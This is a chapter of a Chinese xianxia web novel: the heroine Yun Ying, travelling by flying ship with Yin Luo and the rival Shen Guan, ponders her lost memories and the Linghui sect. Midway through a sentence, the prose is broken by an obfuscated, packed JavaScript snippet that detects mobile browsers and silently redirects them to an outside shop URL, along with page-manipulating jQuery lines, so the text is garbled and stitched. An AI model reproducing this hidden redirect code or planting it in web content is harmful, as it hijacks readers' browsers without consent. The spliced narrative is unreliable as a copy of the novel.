“这个月第三回坐船……”
云影凭栏远眺,灵晖宗那高山之上的“神殿”正慢慢淡出她的视野。
即使今天坐的是豪华客船,云影这副脓包脆弱的身体依然感觉到强烈的不适。
“难受吗?”殷罗靠了过来。
“把这个吃了。”他掌心有颗小小的白色丹药。
“我没那么娇弱,这药你自己留着……”
云影话还没说完,他就不容分说地把药丸塞到她嘴里。手套轻擦过嘴唇,痒痒的。
“别逞强了,这只是普通的晕船药。”
药丸在嘴里滚了两圈,云影还是咽了下去。
一上船就头晕脑热,脸颊也跟着发烫,不想让他看见,云影索性扭过头去,拿后脑勺对着殷罗。
船上人很多,三教九流,牛鬼蛇神都有。云影愣了回神,突然感觉腰间有股风在吹。
海风?不对!
云影迅速回过头:“殷罗!”
殷罗将她拽到身旁,抬手。
可惜……还是晚了一步。
钥匙从她腰间飞出,落在两根苍白的手指间。
殷罗那天说得没错,麻烦的家伙现在已经出现了。
深黑色劲装外是惹眼的大红色外袍,微微弯曲的长发下是一张清秀的面容。
只是这清秀的面庞上挂着恶劣的笑。
“那场比赛,我们都是胜利者,钥匙却被你独吞……有点说不过去吧?”红衣男人开口,声音还是一如既往地令人讨厌。
果然是他——“沈观”。
云影神情变得凝重起来,冷眼盯着他手上的雾观之匙。
“别这样盯着我,好像在说我是一个混蛋。”
“你难道不是吗?”
云影脱口而出,即使这样会显得两人颇有渊源,暴露身份,她也忍不了了。
“雾观之匙是有灵性的玩意儿,会认胜利者为主。可那场比赛的胜者有两个……”
他语气慵懒,好像数日前殊死搏斗只是一场小打小闹的比赛。
“钥匙谁拿着都不太公平,所以……”
他俯下身,将钥匙塞到云影手中。
“就由小姑娘来保管?”
云影拿了钥匙,迅速走开几步远离这个瘟神。
得了,钥匙认主,现在想不和他同行都不行了。
不过也好,至少现在云影知道他是个危险人物,总比和一些口蜜腹剑的笑面虎同行好得多。将信任交给那些人,他指不定哪天就在背后捅你一刀,怎么死的都不得知。
云影在一旁待着,手握钥匙,听着两人略显冷淡的交谈,时不时蹦出一句“化干戈为玉帛”之类的屁话。
灵晖宗给他们安排的船并不只是一艘豪华的俗物,它速度极快,大大超过了一般船只的速度,是由一件罕见的法器变幻而来。
看,这会儿船已经离开水面飞了起来,修士们可以尽情享受云雍与雾观之间广袤海域的美景。
面对碧海蓝天,云影却没有多少心思去欣赏。
和自己这不认师父的乖徒弟一样,云影的记忆也有空缺。
但和他不同的是,云影仅仅空缺了一小部分。
就是她渡劫失败之前的一小段记忆。那年她察觉出自己的天劫将至,为了不连累殷罗,她抛下他离开了天光不夜楼,去寻找一个适合清修的地方。当时殷罗的每一个表情,对她说的每一句话,她都记得清清楚楚。
可惜,命运觉得她傲慢过了头,给了她一记重重的耳光。
而那次一意孤行地离开天光不夜楼,也成了她和殷罗的诀别。
这之后,她去过很多地方,一边寻求历劫之术,一边等待天命的进一步指示。
问题就出在这里。
劫期将至的那一段,她在什么地方,遇到了什么人?她毫无印象。
她一觉醒来,不出半月就遇到了阿罗。这是一个不可思议巧合。
雅雅还在的时候,她和“沈观”交战过几次。之后将近百年,她再也没见过这个跋扈的红衣男子,但醒来后这短短的时间,却两次与他交集。这是第二个令人疑惑的地方。
第三点,就是灵晖宗。
灵晖宗和殷罗颇有渊源,这不必说。云影搜刮自己所有的记忆,认为自己和灵晖宗实在没什么关系。虽然云影出身蜀山,蜀山和灵晖宗一直不对付。但云影十九岁就离家出走,那时还没有灵晖宗的影子。
那么灵晖宗的弟子为什么对自己颇有成见?还在紫苑客栈中故意破坏她的画像?
按照当时那个女弟子的说法,是因为云影杀了她的魔人师兄。
当时她信了那个女弟子的话,毕竟她杀了太多的魔人,记不清了。
可现在转过头来一想,又觉得里面或许另有隐情。
云影全程目睹了沈观和宁韵真人的交战,沈观每一招都是惊险的杀招,似乎急于取走宁韵的性命
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029465|194518||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。难道他和宁韵之间也有关系?他又是为了什么,执意要去雾观?
殷罗、沈观、宁韵真人……灵晖宗、风岐大陆、雾观的秘密以及残缺的记忆……
所有线索乱作一团麻,令云影实在理不清头绪。
“想什么呢?”
冷不丁地这么一句,云影差点魂飞魄散。
殷罗看着她惊恐的表情,倒觉得很有意思,可惜他没看够,云影就恢复了冷静。
现在两人坐在幽静的茶室里,特意避开了沈观。
“言谈举止都像个小大人,还爱发呆,你真的挺有意思。”
天地良心,云影以前是果断的行动派,除了打坐修炼的时候,她很少发呆。是现在如履薄冰的形势让她不得不去思考。一日找不回力量与真相,她就一日不得安生。
云影看了几下殷罗,好像有话要说。但还是没蹦出一个字来,转头端起茶杯来喝茶了。
殷罗:“?”
他想打趣她一下,刚开口,就被云影抢先了。
“那个……你要小心沈观。不要相信他说的任何话,他不是云雍人。”
殷罗没想到她要说这个,看来她平日里发呆想的并不是一些乱七八糟的东西,而是关乎眼前实际。
“他来自风岐大陆?”殷罗问。
云影点了点头。“十有八九。”
“他的力量和手段,都很值得我提防他,这点你放心……但我选择和他同行,是因为他身上的疑点令我很感兴趣。”
云影心跳了一下,“疑点?”
“嗯……你还记得吗?那天在紫苑,他和灵晖宗宗主对决。我出手拦下了他,因为那个女人是我要杀的。那时沈观有很浓重的杀气,我还隐约听到了他对那宗主说——”
“‘她的愿望,就是我这场比赛的意志。’”
“看来他是受人所托,要除掉灵晖宗宗主?”
云影豁然睁大了双眼。
不会错了,“沈观”的确与灵晖宗有关系!
阿罗从小就很敏锐,如今依旧。
“那更要提防他了……相信我,我不会害你。”云影现在才切实体会到两人是“一根绳上的蚂蚱”。
“为什么?”殷罗将手背撑在脸颊一侧,笑着发问:“我为什么相信你?”
云影抿了抿嘴,艰难出声:“因为……”
“因为你是那个人的徒弟……”
殷罗敛起了笑容。